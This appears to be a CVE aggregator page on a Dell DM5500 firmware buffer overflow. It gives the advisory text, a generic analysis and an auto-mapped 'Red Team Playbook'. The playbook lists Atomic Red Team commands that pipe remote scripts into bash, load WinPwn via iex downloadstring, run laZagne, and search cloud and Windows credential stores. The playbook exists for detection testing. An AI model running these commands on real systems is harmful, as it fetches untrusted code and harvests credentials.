CVE-2023-44305
Overview
The vulnerability is a stack-based buffer overflow in the Dell PowerProtect Data Manager DM5500 Appliance firmware. It arises from improper handling of input data, allowing excessive data to overwrite stack memory. This flaw exists within the appliance's firmware processing routines, specifically in version 5.14.0.0, leading to memory corruption in the affected component.
Vulnerability Description
Dell DM5500 5.14.0.0, contains a Stack-based Buffer Overflow Vulnerability in the appliance. An unauthenticated remote attacker may exploit this vulnerability to crash the affected process or execute arbitrary code on the system by sending specially crafted input data.
Impact
An unauthenticated remote attacker can exploit this vulnerability to crash critical processes on the DM5500 appliance or execute arbitrary code with system-level privileges. Since the attack vector requires no authentication and can be performed over the network (AV:N/AC:H/PR:N/UI:N), it enables potential service disruption or full compromise of the appliance. This can lead to data loss, unauthorized access to backup data, and disruption of backup and recovery operations in enterprise environments.
Solution
Dell has released a security update addressing multiple vulnerabilities, including this stack-based buffer overflow, in the Dell PowerProtect Data Manager DM5500 Appliance firmware version 5.14.0.0. Administrators should apply the update as detailed in Dell advisory DSA-2023-425 available at https://www.dell.com/support/kbdoc/en-us/000220107/dsa-2023-425-security-update-for-dell-powerprotect-data-manager-dm5500-appliance-for-multiple-vulnerabilities. Following the vendor instructions to upgrade to the patched firmware version is required to remediate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Dell DM5500 appliance is characterized as a stack-based buffer overflow, a critical flaw that allows an attacker to manipulate the memory of the affected system. This type of vulnerability arises when data exceeds the allocated buffer size in the stack, leading to the overwriting of adjacent memory locations. In this case, an unauthenticated remote attacker can exploit this flaw by sending specially crafted input data to the appliance. The nature of the overflow can lead to the crashing of the affected process or, more severely, the execution of arbitrary code, potentially granting the attacker unauthorized access to the system and its resources.
The attack vectors for this vulnerability are particularly concerning due to the unauthenticated nature of the exploit. An attacker does not need to possess valid credentials or be on a trusted network to initiate an attack. By sending specially crafted packets to the vulnerable appliance, the attacker can trigger the buffer overflow, leading to a denial of service or remote code execution. This scenario could unfold in various environments, such as corporate networks or cloud infrastructures, where the appliance is deployed to manage data storage or processing. The ease of exploitation and the potential for significant impact make this vulnerability a high-priority concern for organizations utilizing the Dell DM5500.
The real-world implications of this vulnerability are profound, particularly for businesses that rely on the affected appliance for critical operations. A successful exploitation could lead to system crashes, data loss, or unauthorized access to sensitive information, thereby compromising the integrity and confidentiality of organizational data. The business risks associated with such an incident include operational downtime, financial losses, reputational damage, and potential legal ramifications due to data breaches. Furthermore, the high CVSS score of 9.8 underscores the severity of the threat, indicating that organizations must take immediate action to address the vulnerability.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the appliance firmware is essential, as vendors often release patches to address known vulnerabilities. Additionally, employing intrusion detection systems (IDS) can help identify and alert on suspicious activities that may indicate an attempted exploitation. Network segmentation can also be a valuable strategy, limiting the exposure of the vulnerable appliance to untrusted networks and reducing the attack surface. Organizations should conduct thorough security assessments and penetration testing to identify potential weaknesses and ensure that their defenses are robust against such vulnerabilities.
In conclusion, the stack-based buffer overflow vulnerability in the Dell DM5500 appliance presents a significant threat to organizations that utilize this technology. The potential for remote exploitation without authentication, combined with the severe consequences of successful attacks, necessitates immediate attention and action from affected organizations. By adopting proactive detection and mitigation strategies, businesses can safeguard their systems and data against this critical vulnerability, thereby enhancing their overall cybersecurity posture.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Dell | Dm5500 Firmware | All |
cpe:2.3:o:dell:dm5500_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-44305 |
| dell.com |
GitHub CVE
vendor-advisory
|
https://www.dell.com/support/kbdoc/en-us/000220107/dsa-2023-425-security-update-for-dell-powerprotect-data-manager-dm5500-appliance-for-multiple-vulnerabilities |